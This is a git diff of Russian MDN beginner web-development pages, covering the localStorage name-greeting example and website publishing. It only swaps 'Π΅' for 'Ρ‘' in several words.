- Π­Ρ‚Π° функция содСрТит Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <a href="/ru/docs/Web/API/Window.prompt"><code>prompt()</code></a>, которая Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ Π΄ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²ΠΎΠ΅ ΠΎΠΊΠ½ΠΎ, Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠΎΡ…ΠΎΠΆΠ΅Π΅ Π½Π° <code>alert()</code> ΠΊΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ <code>prompt()</code> просит ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ввСсти Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅, ΠΈ сохраняСт эти Π΄Π°Π½Π½Ρ‹Π΅ Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, послС Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°ΠΆΠΈΠΌΠ°Π΅Ρ‚ <strong>OK</strong>. Π’ Π΄Π°Π½Π½ΠΎΠΌ случаС, ΠΌΡ‹ просим ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ввСсти Π΅Π³ΠΎ имя. Π”Π°Π»Π΅Π΅, ΠΌΡ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ API ΠΏΠΎΠ΄ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌ <code>localStorage</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт Π½Π°ΠΌ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ ΠΈ ΠΈΠ·Π²Π»Π΅ΠΊΠ°Ρ‚ΡŒ ΠΈΡ… ΠΏΠΎΠ·Π΄Π½Π΅Π΅. ΠœΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>setItem()</code> ΠΈΠ· localStorage для создания ΠΈ хранСния Π΄Π°Π½Π½Ρ‹Ρ… Π² свойствС ΠΏΠΎΠ΄ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌ <code>'name'</code>, ΠΈ устанавливаСм это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ <code>myName</code>, которая содСрТит имя Π²Π²Π΅Π΄Π΅Π½Π½ΠΎΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ. Π’ ΠΊΠΎΠ½Ρ†Π΅ ΠΌΡ‹ устанавливаСм <code>textContent</code>Β Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΡƒ Π² Π²ΠΈΠ΄Π΅ строки ΠΈ ΠΈΠΌΠ΅Π½ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</li>
+ Π­Ρ‚Π° функция содСрТит Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <a href="/ru/docs/Web/API/Window.prompt"><code>prompt()</code></a>, которая Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ Π΄ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²ΠΎΠ΅ ΠΎΠΊΠ½ΠΎ, Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠΎΡ…ΠΎΠΆΠ΅Π΅ Π½Π° <code>alert()</code> ΠΊΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ <code>prompt()</code> просит ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ввСсти Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅, ΠΈ сохраняСт эти Π΄Π°Π½Π½Ρ‹Π΅ Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, послС Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°ΠΆΠΈΠΌΠ°Π΅Ρ‚ <strong>OK</strong>. Π’ Π΄Π°Π½Π½ΠΎΠΌ случаС, ΠΌΡ‹ просим ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ввСсти Π΅Π³ΠΎ имя. Π”Π°Π»Π΅Π΅, ΠΌΡ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ API ΠΏΠΎΠ΄ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌ <code>localStorage</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт Π½Π°ΠΌ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ ΠΈ ΠΈΠ·Π²Π»Π΅ΠΊΠ°Ρ‚ΡŒ ΠΈΡ… ΠΏΠΎΠ·Π΄Π½Π΅Π΅. ΠœΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>setItem()</code> ΠΈΠ· localStorage для создания ΠΈ хранСния Π΄Π°Π½Π½Ρ‹Ρ… Π² свойствС ΠΏΠΎΠ΄ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌ <code>'name'</code>, ΠΈ устанавливаСм это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ <code>myName</code>, которая содСрТит имя Π²Π²Π΅Π΄Ρ‘Π½Π½ΠΎΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ. Π’ ΠΊΠΎΠ½Ρ†Π΅ ΠΌΡ‹ устанавливаСм <code>textContent</code>Β Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΡƒ Π² Π²ΠΈΠ΄Π΅ строки ΠΈ ΠΈΠΌΠ΅Π½ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</li>
<li>Π—Π°Ρ‚Π΅ΠΌ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π±Π»ΠΎΠΊ <code>if ... else</code>Β - ΠΌΡ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ Π½Π°Π·Π²Π°Ρ‚ΡŒ это ΠΊΠΎΠ΄ΠΎΠΌ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ структурируСт ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΏΡ€ΠΈ Π΅Π³ΠΎ ΠΏΠ΅Ρ€Π²ΠΎΠΉ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅:
<pre class="brush: js notranslate">if(!localStorage.getItem('name')) {
setUserName();
@@ -376,7 +376,7 @@ var myHeading = document.querySelector('h1');</pre>
var storedName = localStorage.getItem('name');
myHeading.<span class="pl-smi">textContent</span> = 'Mozilla is cool, ' + storedName;
}</pre>
- Π­Ρ‚ΠΎΡ‚ Π±Π»ΠΎΠΊ ΡΠ½Π°Ρ‡Π°Π»Π°Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ отрицания (логичСскоС НЕ, прСдставлСнноС Π² Π²ΠΈΠ΄Π΅ !) Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Π»ΠΈ Π΄Π°Π½Π½Ρ‹Π΅ Π² ΠΏΡƒΠ½ΠΊΡ‚Π΅ <code>name</code>. Если Π½Π΅Ρ‚, Ρ‚ΠΎ функция <code>setUserName()</code> запускаСтся для ΠΈΡ… создания. Если Π΄Π°Π½Π½Ρ‹Π΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ, ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ установил Π΅Π³ΠΎ Π²ΠΎ врСмя ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π³ΠΎ посСщСния), ΠΌΡ‹ ΠΈΠ·Π²Π»Π΅ΠΊΠ°Π΅ΠΌ сохранСнноС имя, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <code>getItem()</code> ΠΈ устанавливаСм <code>textContent</code> Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΡƒ Π² Π²ΠΈΠ΄Π΅ строки плюс имя ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΌΡ‹ Π΄Π΅Π»Π°Π»ΠΈ Π²Π½ΡƒΡ‚Ρ€ΠΈ <code>setUserName()</code>.</li>
+ Π­Ρ‚ΠΎΡ‚ Π±Π»ΠΎΠΊ ΡΠ½Π°Ρ‡Π°Π»Π°Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ отрицания (логичСскоС НЕ, прСдставлСнноС Π² Π²ΠΈΠ΄Π΅ !) Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Π»ΠΈ Π΄Π°Π½Π½Ρ‹Π΅ Π² ΠΏΡƒΠ½ΠΊΡ‚Π΅ <code>name</code>. Если Π½Π΅Ρ‚, Ρ‚ΠΎ функция <code>setUserName()</code> запускаСтся для ΠΈΡ… создания. Если Π΄Π°Π½Π½Ρ‹Π΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ, ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ установил Π΅Π³ΠΎ Π²ΠΎ врСмя ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π³ΠΎ посСщСния), ΠΌΡ‹ ΠΈΠ·Π²Π»Π΅ΠΊΠ°Π΅ΠΌ сохранённоС имя, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <code>getItem()</code> ΠΈ устанавливаСм <code>textContent</code> Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΡƒ Π² Π²ΠΈΠ΄Π΅ строки плюс имя ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΌΡ‹ Π΄Π΅Π»Π°Π»ΠΈ Π²Π½ΡƒΡ‚Ρ€ΠΈ <code>setUserName()</code>.</li>
<li>НаконСц, установитС ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события <code>onclick</code> Π½Π° ΠΊΠ½ΠΎΠΏΠΊΡƒ.Β ΠŸΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ кнопки запускаСтся функция <code>setUserName()</code>. Π­Ρ‚ΠΎ позволяСт ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π½ΠΎΠ²ΠΎΠ΅ имя, всякий Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ Π·Π°Ρ…ΠΎΡ‡Π΅Ρ‚, Π½Π°ΠΆΠ°Ρ‚ΠΈΠ΅ΠΌ ΠΊΠ½ΠΎΠΏΠΊΠΈ:
<pre class="brush: js notranslate">myButton.onclick = function() {
setUserName();
diff --git a/files/ru/learn/getting_started_with_the_web/publishing_your_website/index.html b/files/ru/learn/getting_started_with_the_web/publishing_your_website/index.html
index afa0a343df..bf50ebe6c6 100644
--- a/files/ru/learn/getting_started_with_the_web/publishing_your_website/index.html
+++ b/files/ru/learn/getting_started_with_the_web/publishing_your_website/index.html
@@ -21,14 +21,14 @@ translation_of: Learn/Getting_started_with_the_web/Publishing_your_website
<h2 id="КакиС_ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚_Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Ρ‹">КакиС ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Ρ‹?</h2>
-<p>ΠŸΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΡ Π²Π΅Π±-сайта это Π½Π΅ простая Ρ‚Π΅ΠΌΠ°, Π³Π»Π°Π²Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ,Β ΠΏΠΎΡ‚ΠΎΠΌΡƒΒ Ρ‡Ρ‚ΠΎ сущСствуСт ΠΌΠ½ΠΎΠ³ΠΎ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… способов ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ Π½Π΅ ΡΡ‚Ρ€Π΅ΠΌΠΈΠΌΡΡΒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ всС Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹. Π‘ΠΊΠΎΡ€Π΅Π΅, ΠΌΡ‹ обсудим ΠΏΠ»ΡŽΡΡ‹ ΠΈ минусы Ρ‚Ρ€Π΅Ρ… ΠΎΠ±ΡˆΠΈΡ€Π½Ρ‹Ρ… стратСгий с Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния Π½ΠΎΠ²ΠΈΡ‡ΠΊΠ°, Π° Π·Π°Ρ‚Π΅ΠΌ Π²Ρ‹ ΠΏΡ€ΠΎΠΉΠ΄Π΅Ρ‚Π΅ Ρ‡Π΅Ρ€Π΅Π· ΠΎΠ΄ΠΈΠ½ ΠΌΠ΅Ρ‚ΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π² настоящСС врСмя.</p>
+<p>ΠŸΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΡ Π²Π΅Π±-сайта это Π½Π΅ простая Ρ‚Π΅ΠΌΠ°, Π³Π»Π°Π²Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ,Β ΠΏΠΎΡ‚ΠΎΠΌΡƒΒ Ρ‡Ρ‚ΠΎ сущСствуСт ΠΌΠ½ΠΎΠ³ΠΎ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… способов ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ Π½Π΅ ΡΡ‚Ρ€Π΅ΠΌΠΈΠΌΡΡΒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ всС Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹. Π‘ΠΊΠΎΡ€Π΅Π΅, ΠΌΡ‹ обсудим ΠΏΠ»ΡŽΡΡ‹ ΠΈ минусы Ρ‚Ρ€Ρ‘Ρ… ΠΎΠ±ΡˆΠΈΡ€Π½Ρ‹Ρ… стратСгий с Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния Π½ΠΎΠ²ΠΈΡ‡ΠΊΠ°, Π° Π·Π°Ρ‚Π΅ΠΌ Π²Ρ‹ ΠΏΡ€ΠΎΠΉΠ΄Ρ‘Ρ‚Π΅ Ρ‡Π΅Ρ€Π΅Π· ΠΎΠ΄ΠΈΠ½ ΠΌΠ΅Ρ‚ΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π² настоящСС врСмя.</p>
<h3 id="ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅_хостинга_ΠΈ_Π΄ΠΎΠΌΠ΅Π½Π½ΠΎΠ³ΠΎ_ΠΈΠΌΠ΅Π½ΠΈ">ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ хостинга ΠΈ Π΄ΠΎΠΌΠ΅Π½Π½ΠΎΠ³ΠΎ ΠΈΠΌΠ΅Π½ΠΈ</h3>
<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΠΌΠ΅Ρ‚ΡŒ больший ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ Π½Π°Π΄ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ΠΎΠΌ ΠΈ внСшним Π²ΠΈΠ΄ΠΎΠΌ Π²Π΅Π±-сайта, Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ людСй ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡ΠΈΡ‚Π°ΡŽΡ‚ ΠΏΠΎΠΊΡƒΠΏΠ°Ρ‚ΡŒ Π²Π΅Π±-хостинг ΠΈ Π΄ΠΎΠΌΠ΅Π½Π½ΠΎΠ΅ имя:</p>
<ul>
- <li>Π₯остинг β€” Π°Ρ€Π΅Π½Π΄ΠΎΠ²Π°Π½Π½ΠΎΠ΅ Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠ΅ пространство Π½Π° <a href="/en-US/Learn/What_is_a_web_server">Π²Π΅Π±-сСрвСрС</a> хостинговой ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ.Β Π’Ρ‹ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Π΅Ρ‚Π΅ ваши Ρ„Π°ΠΉΠ»Ρ‹ Π²Π΅Π±-сайта Π² этом пространствС, ΠΈ Π²Π΅Π±-сСрвСр Π²Ρ‹Π΄Π°Π΅Ρ‚ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ для Π²Π΅Π±-ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°ΡŽΡ‚ Π΅Π³ΠΎ.</li>
+ <li>Π₯остинг β€” Π°Ρ€Π΅Π½Π΄ΠΎΠ²Π°Π½Π½ΠΎΠ΅ Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠ΅ пространство Π½Π° <a href="/en-US/Learn/What_is_a_web_server">Π²Π΅Π±-сСрвСрС</a> хостинговой ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ.Β Π’Ρ‹ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Π΅Ρ‚Π΅ ваши Ρ„Π°ΠΉΠ»Ρ‹ Π²Π΅Π±-сайта Π² этом пространствС, ΠΈ Π²Π΅Π±-сСрвСр Π²Ρ‹Π΄Π°Ρ‘Ρ‚ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ для Π²Π΅Π±-ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°ΡŽΡ‚ Π΅Π³ΠΎ.</li>
<li><a href="/en-US/Learn/Understanding_domain_names">Π”ΠΎΠΌΠ΅Π½Π½ΠΎΠ΅ имя</a> β€” ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ адрСс ΠΏΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ люди ΠΌΠΎΠ³ΡƒΡ‚ Π½Π°ΠΉΡ‚ΠΈ ваш Π²Π΅Π±-сайт, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <code>http://www.mozilla.org</code>Β ΠΈΠ»ΠΈ <code>http://www.bbc.co.uk</code>. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π°Ρ€Π΅Π½Π΄ΠΎΠ²Π°Ρ‚ΡŒ Π΄ΠΎΠΌΠ΅Π½Π½ΠΎΠ΅ имя Π½Π° ΡΡ‚ΠΎΠ»ΡŒΠΊΠΎ Π»Π΅Ρ‚, сколько Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ (ΠΌΠΈΠ½ΠΈΠΌΡƒΠΌ Π½Π° 1 Π³ΠΎΠ΄) ΡƒΒ <strong>рСгистратора Π΄ΠΎΠΌΠ΅Π½ΠΎΠ²</strong>.</li>
</ul>
@@ -41,7 +41,7 @@ translation_of: Learn/Getting_started_with_the_web/Publishing_your_website
<h4 id="Π‘ΠΎΠ²Π΅Ρ‚Ρ‹_ΠΏΠΎ_поиску_хостингов_ΠΈ_Π΄ΠΎΠΌΠ΅Π½ΠΎΠ²">Π‘ΠΎΠ²Π΅Ρ‚Ρ‹ ΠΏΠΎ поиску хостингов ΠΈ Π΄ΠΎΠΌΠ΅Π½ΠΎΠ²</h4>
<ul>
- <li>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ Π½Π΅ ΠΏΡ€ΠΎΠ΄Π²ΠΈΠ³Π°Π΅ΠΌ ΠΊΠ°ΠΊΠΈΠ΅-Ρ‚ΠΎ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Π΅ хостинговыС ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ. Π§Ρ‚ΠΎΠ±Ρ‹ Π½Π°ΠΉΡ‚ΠΈ хостинг ΠΈ рСгистратора Π΄ΠΎΠΌΠ΅Π½Π½Ρ‹Ρ… ΠΈΠΌΠ΅Π½, просто ΠΏΠΎΠΈΡ‰ΠΈΡ‚Π΅ "Π²Π΅Π±-хостинг" ΠΈ "Π΄ΠΎΠΌΠ΅Π½Π½Ρ‹Π΅ ΠΈΠΌΠ΅Π½Π°". Во всСх Ρ‚Π°ΠΊΠΈΡ… ΡΠ΅Ρ€Π²ΠΈΡΠ°Ρ…Β Π΅ΡΡ‚ΡŒ функция, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π°Ρ Π²Π°ΠΌ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, доступно Π»ΠΈ имя Π΄ΠΎΠΌΠ΅Π½Π°, ΠΈΠ»ΠΈ ΠΊΡ‚ΠΎ-Ρ‚ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΡƒΠΆΠ΅ зарСгистрировал Π΅Π³ΠΎ.Β </li>
+ <li>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ Π½Π΅ ΠΏΡ€ΠΎΠ΄Π²ΠΈΠ³Π°Π΅ΠΌ ΠΊΠ°ΠΊΠΈΠ΅-Ρ‚ΠΎ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Π΅ хостинговыС ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ. Π§Ρ‚ΠΎΠ±Ρ‹ Π½Π°ΠΉΡ‚ΠΈ хостинг ΠΈ рСгистратора Π΄ΠΎΠΌΠ΅Π½Π½Ρ‹Ρ… ΠΈΠΌΡ‘Π½, просто ΠΏΠΎΠΈΡ‰ΠΈΡ‚Π΅ "Π²Π΅Π±-хостинг" ΠΈ "Π΄ΠΎΠΌΠ΅Π½Π½Ρ‹Π΅ ΠΈΠΌΠ΅Π½Π°". Во всСх Ρ‚Π°ΠΊΠΈΡ… ΡΠ΅Ρ€Π²ΠΈΡΠ°Ρ…Β Π΅ΡΡ‚ΡŒ функция, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π°Ρ Π²Π°ΠΌ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, доступно Π»ΠΈ имя Π΄ΠΎΠΌΠ΅Π½Π°, ΠΈΠ»ΠΈ ΠΊΡ‚ΠΎ-Ρ‚ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΡƒΠΆΠ΅ зарСгистрировал Π΅Π³ΠΎ.Β </li>
<li>Π’Π°Ρˆ домашний ΠΈΠ»ΠΈ Ρ€Π°Π±ΠΎΡ‡ΠΈΠΉ {{Glossary("ISP", "Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€")}} ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ хостинговыС услуги для Π½Π΅Π±ΠΎΠ»ΡŒΡˆΠΈΡ… Π²Π΅Π±-сайтов. Набор возмоТностСй Π² Ρ‚Π°ΠΊΠΎΠΌ случаС ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½, Π½ΠΎ, Ρ‚Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎ ΠΏΠΎΠ΄ΠΎΠΉΡ‚ΠΈ для Π²Π°ΡˆΠΈΡ… ΠΏΠ΅Ρ€Π²Ρ‹Ρ… экспСримСнтов - ΡΠ²ΡΠΆΠΈΡ‚Π΅ΡΡŒ с Π½ΠΈΠΌΠΈ ΠΈ ΡƒΠ·Π½Π°ΠΉΡ‚Π΅!Β </li>
<li>Π’Π°ΠΊΠΆΠ΅ Π΅ΡΡ‚ΡŒ нСсколько бСсплатных сСрвисов, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊΒ <a href="https://neocities.org/">Neocities</a>, <a href="https://www.blogger.com">Blogspot</a>, ΠΈΒ <a href="https://wordpress.com/">Wordpress</a>. ΠžΠΏΡΡ‚ΡŒ ΠΆΠ΅, Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚Π΅ Ρ‚ΠΎ, Π·Π° Ρ‡Ρ‚ΠΎ ΠΏΠ»Π°Ρ‚ΠΈΡ‚Π΅, Π½ΠΎ ΠΎΠ½ΠΈ идСально подходят для Π²Π°ΡˆΠΈΡ… ΠΏΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹Ρ… экспСримСнтов. БСсплатныС сСрвисы ΠΏΠΎ большСй части Π½Π΅ Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ FTP-ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠ² - Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅Ρ‚Π°ΡΠΊΠΈΠ²Π°Ρ‚ΡŒ ваши Ρ„Π°ΠΉΠ»Ρ‹ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ Π² Π²Π΅Π±-интСрфСйсС.</li>
<li>Иногда ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ ΠΏΡ€Π΅Π΄Π»Π°Π³Π°ΡŽΡ‚ ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ ΠΈ хостинг ΠΈ Π΄ΠΎΠΌΠ΅Π½.</li>
@@ -52,7 +52,7 @@ translation_of: Learn/Getting_started_with_the_web/Publishing_your_website
